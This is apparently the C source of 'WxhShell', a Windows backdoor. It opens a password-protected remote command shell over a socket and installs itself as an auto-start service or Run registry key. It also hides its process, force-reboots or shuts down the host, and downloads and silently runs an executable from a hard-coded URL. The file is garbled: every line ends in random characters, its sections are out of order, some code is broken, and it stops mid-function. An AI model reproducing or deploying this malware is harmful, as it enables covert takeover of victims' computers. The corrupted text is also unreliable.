  // 关机 !pS~'E&q  
  case 'd': { /'NUZ9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <tQXK;  
    if(Boot(SHUTDOWN)) TA9dkYlE/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .9I_N G  
    else { f<=^ 4a  
    closesocket(wsh); &"O_wd[+:  
    ExitThread(0); 'Ix5,^M}B  
    } d5q4'6o,  
    break; a}GAB@YI  
    } 9H8=eJd  
  // 获取shell \y,; Cfl<  
  case 's': { S `wE$so>  
    CmdShell(wsh); Qq>ElQ@  
    closesocket(wsh); x/[8Wi,yB  
    ExitThread(0); Z c<]^QR  
    break; Bx%=EN5.  
  } 9$EH K  
  // 退出 ,FS?"Ni  
  case 'x': { o[2Y;kP3*P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wz)m{:b<  
    CloseIt(wsh); Q{`@ G"'  
    break; }RH lYN  
    } i~ROQMN1  
  // 离开 qY# m*R  
  case 'q': { x1:vUHwC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fv;u1Atiw  
    closesocket(wsh); S{Rh'x\B  
    WSACleanup(); d[yrNB6|  
    exit(1); @<VG8{  
    break; Ep,1}Dx  
        } .M}06,-  
  } '>"`)-  
  } ]C+eJ0"A  
!OV|I  
  // 提示信息 q^u6f?B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G|<]Ma9x  
} 0%#t[us Y  
  } ,7QBJ_-;QJ  
Z<w,UvJa  
  return; Mi_[9ku>%  
} `9]P/J^  
2f s9JP{^0  
// shell模块句柄 xAFek;GY?  
int CmdShell(SOCKET sock) e1:u1(".  
{ Cq TH!'N  
STARTUPINFO si; "<7$2!  
ZeroMemory(&si,sizeof(si)); 30t:O&2<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [>Ikitow  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }3bQ>whF  
PROCESS_INFORMATION ProcessInfo; ;|2U f   
char cmdline[]="cmd"; N+ak[axN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vj#%B.#Zbf  
  return 0; Y}85J:q]  
} ftDVxKDE?S  
p{+tFQy  
// 自身启动模式 8/Lu'rI  
int StartFromService(void) ADuZ}]  
{ X%RQB$  
typedef struct cYBrRTrI#  
{ l6r%nHP@  
  DWORD ExitStatus; Ubn   
  DWORD PebBaseAddress; (or =f`  
  DWORD AffinityMask; L5hQdT/b$  
  DWORD BasePriority; (, ;MC/l  
  ULONG UniqueProcessId; /DgT1^&0  
  ULONG InheritedFromUniqueProcessId; D'U\]'.  
}   PROCESS_BASIC_INFORMATION; wWp?HDl"M  
o{s4.LKK  
PROCNTQSIP NtQueryInformationProcess; NB~*sP-l&  
&lOXi?&"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]9!Gg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W$x K^}  
?S;et2f  
  HANDLE             hProcess; 2gK p\!  
  PROCESS_BASIC_INFORMATION pbi; ]~4}(\u  
r;@:S~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _R>s5|_  
  if(NULL == hInst ) return 0; }W Bm%f  
si+5h6I.}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uC <|T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oW\Q>c7 =  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X"]mR7k  
FQv02V+&<  
  if (!NtQueryInformationProcess) return 0; o =jX  
dNS9<8JX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =}6Z{}(TT  
  if(!hProcess) return 0; ul]m>W  
T`0`]z!~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bk@_]a  
}J4BxBuV8  
  CloseHandle(hProcess); x&6i@Jl  
)aO!cQ{s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n^I|}u\  
if(hProcess==NULL) return 0; Tk2&{S"  
PhI{3B/  
HMODULE hMod; $[L)f| l  
char procName[255]; +L<w."WG  
unsigned long cbNeeded; P89Dg/P  
!*$'fn'bAA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 07E".T%Ts  
jw6ng>9  
  CloseHandle(hProcess); ZS 7)(j$.  
Hr_x~n=w  
if(strstr(procName,"services")) return 1; // 以服务启动 LqH?3):  
A`mf 8'nTG  
  return 0; // 注册表启动 9EY_R&Yq%  
} R?FtncL%D  
]mDsUZf<  
// 主模块 LVz%$Cq,0  
int StartWxhshell(LPSTR lpCmdLine) gP"Mu#/D  
{ M KE[Yb?  
  SOCKET wsl; ;Ef)7GE@\[  
BOOL val=TRUE; '@1Qx~*]e  
  int port=0; ;/]c^y  
  struct sockaddr_in door; 19.!$;  
 MYW 4@#  
  if(wscfg.ws_autoins) Install(); Wg3WE1V  
I.n{ "=$B@  
port=atoi(lpCmdLine); <\#  
e?'k[ES^  
if(port<=0) port=wscfg.ws_port; \c`r9H^v{  
%#;(]7Zq  
  WSADATA data; aABE= 9Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fn"jYSy  
nD{;4$xP`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6T aT_29  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^a0 -5  
  door.sin_family = AF_INET; 7G #e~,M5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (/UMi,Ho  
  door.sin_port = htons(port); k?*DBXJv  
b J5z??  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mf_ 9O  
closesocket(wsl); B7^n30+L  
return 1; F[qI fh4  
} OCoRcrAx  
$/sZYsN~T  
  if(listen(wsl,2) == INVALID_SOCKET) { nJ`a1L{N  
closesocket(wsl); */m~m?  
return 1; 7]+'%Uwu)  
} x)Om[jZE  
  Wxhshell(wsl); G6g=F+X2  
  WSACleanup(); [[Eu?vQ9R  
pzp"NKx i  
return 0; ##\ZuJ^-  
%b'VEd7  
} 61;5Yo  
Gb)iB  
// 以NT服务方式启动 LR?#H)$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,Onm!LI=  
{ ]3cf}Au  
DWORD   status = 0; +as\>"Cj+2  
  DWORD   specificError = 0xfffffff; ~8 a>D<b  
iPL'JVPZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :jp$X|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~Am %%$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w9h5f  
  serviceStatus.dwWin32ExitCode     = 0; @(5RAYRV  
  serviceStatus.dwServiceSpecificExitCode = 0; OehB"[;+  
  serviceStatus.dwCheckPoint       = 0; %Q4w9d  
  serviceStatus.dwWaitHint       = 0; m9i%U   
%R5MAs&-5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S~9kp?kR$  
  if (hServiceStatusHandle==0) return; 5rSth.&  
U.9nHo{  
status = GetLastError(); FnU;n  
  if (status!=NO_ERROR) { J%$.D(/  
{ D#AxgF_He  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v~=ol8J B  
    serviceStatus.dwCheckPoint       = 0; @"5u~o')@v  
    serviceStatus.dwWaitHint       = 0; YLd%"H $n  
    serviceStatus.dwWin32ExitCode     = status; ?Qp_4<(5  
    serviceStatus.dwServiceSpecificExitCode = specificError; l3$?eGGM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N8Q{4c  
    return; ]8z6gDp  
  } <GR:5pJ%  
U7'oI;C$e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )[Cm*Xxa$  
  serviceStatus.dwCheckPoint       = 0; FNO lR>0e  
  serviceStatus.dwWaitHint       = 0; Ct33S+y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aDEP_b;  
} 'hWRwP|  
j> M%?Tw  
// 处理NT服务事件,比如:启动、停止 X28WQdP,7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #&gy@!a~  
{ /! 3:K<6@  
switch(fdwControl) 7K4%`O  
{ [K QZHIe  
case SERVICE_CONTROL_STOP: _P+|tW1  
  serviceStatus.dwWin32ExitCode = 0; sP8B?Tn1W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,5WDYk-  
  serviceStatus.dwCheckPoint   = 0; ?2Dz1#%D  
  serviceStatus.dwWaitHint     = 0; $*ZHk0 7x  
  { YiMecu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q>Y[.c-  
  } Fb-TCq1y#  
  return; 6<6_W#  
case SERVICE_CONTROL_PAUSE: ~;` #{$/C&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n&JP/P3Y  
  break; Wn5]2D\vkT  
case SERVICE_CONTROL_CONTINUE: K.Ir+SB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aT[7L9Cw  
  break; @e/dQ:Fb  
case SERVICE_CONTROL_INTERROGATE: E$ rSrT(  
  break; {F[Xe_=#"  
}; F*H}5yBp_:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9NAlgET  
} >i<-rO>kN  
8&bj7w,K  
// 标准应用程序主函数 tp&iOP6O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?i"FdpW  
{ i&KODhMpP  
Sq QB>;/p  
// 获取操作系统版本 zKr(Gt8  
OsIsNt=GetOsVer(); 7\ lb+^$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }vIm C [  
RCr:2 Iz  
  // 从命令行安装 m~A/.t%=  
  if(strpbrk(lpCmdLine,"iI")) Install(); &rubA  
/j As`"U  
  // 下载执行文件 :h@:F7N _  
if(wscfg.ws_downexe) { 5**xU+&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pe.D[]S  
  WinExec(wscfg.ws_filenam,SW_HIDE); tK*f8X+q  
} R >TtAm0N  
@ Ia ~9yOY  
if(!OsIsNt) { ej `$-hBBV  
// 如果时win9x,隐藏进程并且设置为注册表启动 P<~ y$B  
HideProc(); Z"u/8  
StartWxhshell(lpCmdLine); 5ZLH=8L  
} h?sh#j6  
else "fdG5|NJe  
  if(StartFromService()) F(9T;F  
  // 以服务方式启动 [sBD|P;M  
  StartServiceCtrlDispatcher(DispatchTable); l3,|r QD  
else ge|}'QKow  
  // 普通方式启动 5h&8!!$[  
  StartWxhshell(lpCmdLine); :Pv{ E  
9TLP(  
return 0; X%sc:V  
} /+iaw~={"  
!TcjB;q'  
!VW#hc \A5  
Nf1l{N  
=========================================== 9Z=Bs)-y.  
q!n|Ju<  
%/7`G-a.B  
 6O}r4*  
yI!K quMC  
DIY WFVh  
" N^ )OlH  
GZ"O%: d  
#include <stdio.h> X!m/I i$q  
#include <string.h> R!O'DM+  
#include <windows.h> AbB%osz}Ed  
#include <winsock2.h> L_(|5#IDw  
#include <winsvc.h> PQ j_j#0  
#include <urlmon.h> }.#C9<"}  
C..O_Zn{g  
#pragma comment (lib, "Ws2_32.lib") &\A$Rj)  
#pragma comment (lib, "urlmon.lib") \6o ~ i  
&wJ"9pQ~6E  
#define MAX_USER   100 // 最大客户端连接数 IzG7!K  
#define BUF_SOCK   200 // sock buffer rei<{woX  
#define KEY_BUFF   255 // 输入 buffer cla4%|kq3Y  
n`6vM4rM)  
#define REBOOT     0   // 重启 W!{uEH{%l  
#define SHUTDOWN   1   // 关机 qVf~\H@  
fgNEq  
#define DEF_PORT   5000 // 监听端口 T"$"`A"  
'vXrA  
#define REG_LEN     16   // 注册表键长度 `Tab'7  
#define SVC_LEN     80   // NT服务名长度 (t <Um Vd  
Tsa&R:SE  
// 从dll定义API ZEB1()GB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rHMsA|xz6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {pVD`#Tl[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `.n[G~*w~1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !=a8^CV  
C@K@TfK!M  
// wxhshell配置信息 X{)M}WO+r  
struct WSCFG { pJ{sBp_$  
  int ws_port;         // 监听端口 419t"1b  
  char ws_passstr[REG_LEN]; // 口令 -IPc;`<  
  int ws_autoins;       // 安装标记, 1=yes 0=no eI- ~ +.  
  char ws_regname[REG_LEN]; // 注册表键名 klPc l[.w  
  char ws_svcname[REG_LEN]; // 服务名 GX\/2P7CZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {<bByHT!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D9JT)a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ++xEMP)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TzVNZDQ`Jl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [~ fJ/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I9_tD@s"(  
0LxA+  
}; -8g ;t3z  
O0wD"V^W  
// default Wxhshell configuration 2uz<n}IV  
struct WSCFG wscfg={DEF_PORT, X)`? P*[  
    "xuhuanlingzhe", $BCqz! 4K  
    1, %T!UEl`v  
    "Wxhshell", 7|\[ipVX:3  
    "Wxhshell", 7x`uGmp1  
            "WxhShell Service", aM~M@wS  
    "Wrsky Windows CmdShell Service", -]HO8}-Rjs  
    "Please Input Your Password: ", EY':m_7W  
  1, $KKrl  
  "http://www.wrsky.com/wxhshell.exe", 0/;T\9  
  "Wxhshell.exe" Jo_h?{"L{  
    }; ^KmyB6Yg  
om|M=/^  
// 消息定义模块 gZ:)l@ Wu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \3Ys8umKq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OE W IP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tvZpm@1  
char *msg_ws_ext="\n\rExit."; {V,rWg  
char *msg_ws_end="\n\rQuit."; ^2XoYgv  
char *msg_ws_boot="\n\rReboot..."; P6dIU/w  
char *msg_ws_poff="\n\rShutdown..."; p<tj6O  
char *msg_ws_down="\n\rSave to "; S-g`rTx  
:U^a0s%B  
char *msg_ws_err="\n\rErr!"; 5Y JLR;  
char *msg_ws_ok="\n\rOK!"; | \C{R  
mbU[fHyV  
char ExeFile[MAX_PATH]; ,@8>=rT  
int nUser = 0; ZI-)'  
HANDLE handles[MAX_USER]; e%o6s+"  
int OsIsNt; ^7V9\Q9  
Xb5n;=)  
SERVICE_STATUS       serviceStatus; Q];+?Pu.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OANn!nZ.  
fo^M`a!va0  
// 函数声明 \ @3i=!  
int Install(void); y;3vr1?  
int Uninstall(void); JstX# z  
int DownloadFile(char *sURL, SOCKET wsh); wqK>=Ri_  
int Boot(int flag); 4L(axjMYU  
void HideProc(void); Ay22-/C|@  
int GetOsVer(void); [ wi "  
int Wxhshell(SOCKET wsl); /k l0(='  
void TalkWithClient(void *cs); SzMh}xDh2  
int CmdShell(SOCKET sock); -6aGcPq  
int StartFromService(void); QB7E:g&7  
int StartWxhshell(LPSTR lpCmdLine); W:ih#YW_F  
H'P1EZtq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D/"[/!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nj@k|_1  
:OUNZDL  
// 数据结构和表定义 ZjF$zVk  
SERVICE_TABLE_ENTRY DispatchTable[] = uL1e?  
{ &NL=Bd  
{wscfg.ws_svcname, NTServiceMain}, #db8ur3?  
{NULL, NULL} y9?BvPp+  
}; b,cA mZ  
~6Vs>E4G  
// 自我安装 !LVWggk1  
int Install(void) [>=D9I@~  
{ !=_:*U)-'  
  char svExeFile[MAX_PATH]; =hH>]$J[  
  HKEY key; `_N8A A  
  strcpy(svExeFile,ExeFile); c5+oP j  
{+0]diD  
// 如果是win9x系统,修改注册表设为自启动 yNoJrA  
if(!OsIsNt) { snK$? 9vh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { No=Ig-It  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }5z6b>EI9a  
  RegCloseKey(key); /QZnN?k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MS)#S&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |CexP^;!U  
  RegCloseKey(key); V<$g^Vb  
  return 0; YR@@:n'TP  
    } f<= #WV  
  } #I'W[\l~+  
} ;]D@KxO$dJ  
else { :bkACuaEn  
dE7 kd=.o  
// 如果是NT以上系统,安装为系统服务 ^/47 *vcN5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >0k7#q}O  
if (schSCManager!=0) 9x0B9&  
{ bIu '^  
  SC_HANDLE schService = CreateService cKEf- &~  
  ( d kHcG&)  
  schSCManager, zW,m3~XX:  
  wscfg.ws_svcname, ^o+2:G5z}  
  wscfg.ws_svcdisp, OmQSNU.our  
  SERVICE_ALL_ACCESS, `C%,Nj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ({zt=}r,  
  SERVICE_AUTO_START, p+ SFeUp  
  SERVICE_ERROR_NORMAL, IAf,TKfe  
  svExeFile, "^u  
  NULL, ^W5rL@h_  
  NULL, _iLXs  
  NULL, z9}rT<hy  
  NULL, z'=*pIY5f  
  NULL g dT3,8`#[  
  ); JR|yg=E  
  if (schService!=0) dd>|1'-]  
  { \:mx Ri  
  CloseServiceHandle(schService); :0$(umW@I"  
  CloseServiceHandle(schSCManager); Vy.A`Hz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8W)3rD>  
  strcat(svExeFile,wscfg.ws_svcname); k!H;(B"s-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X+)68  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %Rj:r!XB:  
  RegCloseKey(key); $,otW2:)  
  return 0; !f-mC,d  
    } ^)<>5.%1''  
  } 6e&Y%O'8  
  CloseServiceHandle(schSCManager); O Ul+es  
} Vh$~]>t:f  
} LH@)((bi4v  
V|zzj[c  
return 1; z)xGZ*{=  
} $%ZEP> ]  
4SCb9| /Q  
// 自我卸载 YNA %/  
int Uninstall(void) $j0] +vT  
{ ]IMBRZQqb  
  HKEY key; FKY|xG9  
,uqSq  
if(!OsIsNt) { dFD0l?0N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iz,a Hrq  
  RegDeleteValue(key,wscfg.ws_regname); !yU!ta Q  
  RegCloseKey(key); lTW5> %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I$xfCu  
  RegDeleteValue(key,wscfg.ws_regname); fT [JU1  
  RegCloseKey(key); \g< M\3f  
  return 0; ?&EPZqI  
  } pm$,B7Q`oO  
} Z2~;u[0a[  
} He}qgE>Us  
else { Os' 7h  
pqFgi_2m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w]X~I/6g  
if (schSCManager!=0) u'M \m7  
{ ' Z:FGSwT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o7<pI8\  
  if (schService!=0) NF&R}7L  
  { 0][PL%3Z  
  if(DeleteService(schService)!=0) { Zc(uK{3W-  
  CloseServiceHandle(schService); fw kX-ON  
  CloseServiceHandle(schSCManager); hE0 p> R8  
  return 0; W(a31d  
  } ax0RtqtR&  
  CloseServiceHandle(schService); pt<!b0G  
  } PCDsj_e  
  CloseServiceHandle(schSCManager); vggyQf%  
} *t.L` G  
} wR +C>  
3<sYxA\?w  
return 1; ;4p_lw@  
} p9rnhqH6  
VSP6osX{  
// 从指定url下载文件 :5IbOpVM  
int DownloadFile(char *sURL, SOCKET wsh)  vp7J';  
{ C"no>A^  
  HRESULT hr; Y ]&D;w  
char seps[]= "/"; (4=NKtA^G  
char *token; *-"DZ  
char *file; kSoa '  
char myURL[MAX_PATH]; ^[6eo8Ck>  
char myFILE[MAX_PATH]; - `F#MN  
':YFm  
strcpy(myURL,sURL); r(-`b8ZE  
  token=strtok(myURL,seps); _1_CYrUc  
  while(token!=NULL) 7.7P>U  
  { N GP}Z4  
    file=token; s{x{/Bp(KK  
  token=strtok(NULL,seps); A+v6N>}*  
  } s<,[xkMB  
?EQ]f34  
GetCurrentDirectory(MAX_PATH,myFILE); A3D"b9<D  
strcat(myFILE, "\\"); k+ [V%[U  
strcat(myFILE, file); 3>;zk#b2  
  send(wsh,myFILE,strlen(myFILE),0); KY 085Fvs  
send(wsh,"...",3,0); 1}nrVn[B9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~5LlIpf36|  
  if(hr==S_OK) kU^*hd ]  
return 0; Y&M}3H>E  
else &`"Q*N2{  
return 1; bV c"'RQ  
pIcvsd  
} :uwB)G  
^W!w~g+  
// 系统电源模块 ]M%kt+u!  
int Boot(int flag) NKyaR_q`  
{ > Q[L, I  
  HANDLE hToken; -pEt=  
  TOKEN_PRIVILEGES tkp; b5WtL+Z  
^APPWQUl  
  if(OsIsNt) { L[v-5u)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3i1e1Lj1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rjsqXo:9  
    tkp.PrivilegeCount = 1; G-FeDP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @~WSWlQW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "eKNk  
if(flag==REBOOT) { =e\E{K'f@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C'5b)0km  
  return 0; e'%"G{(D  
} : &! >.Y  
else { tR`'( *wh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tgxxm  
  return 0; gZkjh{rQ  
} N=4`jy =  
  } Z?@1X`@  
  else { g+CTF67  
if(flag==REBOOT) { B_Qi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6k14xPj  
  return 0; @|A w T  
} H_3-"m&3  
else { [Ol}GvzJ7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *c"tW8uR  
  return 0; B^8]quOH  
} #L,>)XkjS  
} ?r< F/$/  
42 6l:>D(  
return 1; LHy-y%?i  
} mC-'z  
!\e&7sV~Q  
// win9x进程隐藏模块 XLG6f(B=F  
void HideProc(void) %~z/,[wk  
{ b \pjjb[  
z>n<+tso  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xw1@&QwM  
  if ( hKernel != NULL ) Ojea~Y]Sr  
  { (<.uvq61  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Nd b_|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g7>p,  
    FreeLibrary(hKernel); ^LaOl+;S  
  } :Ng4? +@r  
c UJUZ@ol  
return; 52RFB!Z[  
} x{=@~c%eh  
l8O12  
// 获取操作系统版本 Kr;7~`$[  
int GetOsVer(void) kaKV{;UM  
{ 0/r\#"+XT  
  OSVERSIONINFO winfo; ^F}HWpF_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lQ t&K1m  
  GetVersionEx(&winfo); 0u,OW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  ~\0uy3%  
  return 1; !21#NCw  
  else 627xR$U~  
  return 0; \I3={ii0  
} ;'\#+GZ9p  
\&|zD"*  
// 客户端句柄模块 T3-8AUCK8?  
int Wxhshell(SOCKET wsl) rSGt`#E-s.  
{ AdCi*="m  
  SOCKET wsh; QvPG 6A]T  
  struct sockaddr_in client; Hcts^zm2u  
  DWORD myID; dcK7Dd->  
vZ<@m2  
  while(nUser<MAX_USER) #7wOr78  
{ W ix/Az  
  int nSize=sizeof(client); *58`}]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "CS {fyJ  
  if(wsh==INVALID_SOCKET) return 1; {nl]F  
pO2Y'1*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LTSoo.dE  
if(handles[nUser]==0) ,g2oqq ?  
  closesocket(wsh); 3`W=rIMli  
else 4V$DV!dPQ}  
  nUser++; Hg~O0p}[  
  } Cfz020u`g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]i}3`e?  
8Z^9r/%*Z  
  return 0; |'C {nTX  
} A;pVi;7  
,+iREh;  
// 关闭 socket )\iO wA  
void CloseIt(SOCKET wsh) LuLnmnmB  
{ G^Z SQ!  
closesocket(wsh); Rh:@@4<  
nUser--; \xQ10\u  
ExitThread(0); L_3undy,  
} rPk=9I  
j'z}m+_?  
// 客户端请求句柄 aNqhxvwf  
void TalkWithClient(void *cs) ;:w?&4  
{ **zh>Y}6  
UR/l M,N;  
  SOCKET wsh=(SOCKET)cs; NAy3Zd}  
  char pwd[SVC_LEN]; /uTU*Oe  
  char cmd[KEY_BUFF]; ,ZVC@P,L  
char chr[1]; Nb))_+/  
int i,j; ;au-NY  
WVP^C71  
  while (nUser < MAX_USER) { 2{<5?Op  
H;QE',a9+i  
if(wscfg.ws_passstr) { -Qs4 s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uP'x{Pr)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \2F$FRWo  
  //ZeroMemory(pwd,KEY_BUFF); )PM&x   
      i=0; +1K9R\  
  while(i<SVC_LEN) { Qx9lcO_  
MjO.s+I  
  // 设置超时 yv.UNcP?  
  fd_set FdRead; H.8f-c-4we  
  struct timeval TimeOut; vm3B>ACJ  
  FD_ZERO(&FdRead); Q%.V\8#|V  
  FD_SET(wsh,&FdRead); n4albG4  
  TimeOut.tv_sec=8; 7=YjY)6r^  
  TimeOut.tv_usec=0; {Jv m *   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $'SWH+G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (GLd" Zq  
bt=%DMTn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rKlu+/G  
  pwd=chr[0]; D[.;-4"_  
  if(chr[0]==0xd || chr[0]==0xa) { *vx!twu1o  
  pwd=0; vOb=>  
  break; v&[Ff|>  
  } hOI| #(-  
  i++; -}liG  
    } GqFDN],Wp  
)qGw!^8  
  // 如果是非法用户,关闭 socket ogt<vng  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p'lL2 n$E  
}  pw^$WK  
kPN:m ow  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \t LfB[S.5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W'Wr8~{h  
B~/:["zTh&  
while(1) { 7J ~usF>A  
3"ALohlL  
  ZeroMemory(cmd,KEY_BUFF); \KlOj%s  
z(sfX}%  
      // 自动支持客户端 telnet标准   k"*A@  
  j=0; _7j-y 9V  
  while(j<KEY_BUFF) { t'msgC6=>u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3I87|5V,Z  
  cmd[j]=chr[0]; ]8)nIT^EP  
  if(chr[0]==0xa || chr[0]==0xd) { L&[uE;ro  
  cmd[j]=0; 3P{ d~2  
  break; Pr |u_^  
  } Hw 7   
  j++; 1#KE4(  
    } |7$F r[2d  
{+CW_ce  
  // 下载文件 D%L}vugxK  
  if(strstr(cmd,"http://")) { K `|%-k+D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5)g6yV'  
  if(DownloadFile(cmd,wsh)) E$B7E@(U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f+#^Lngo  
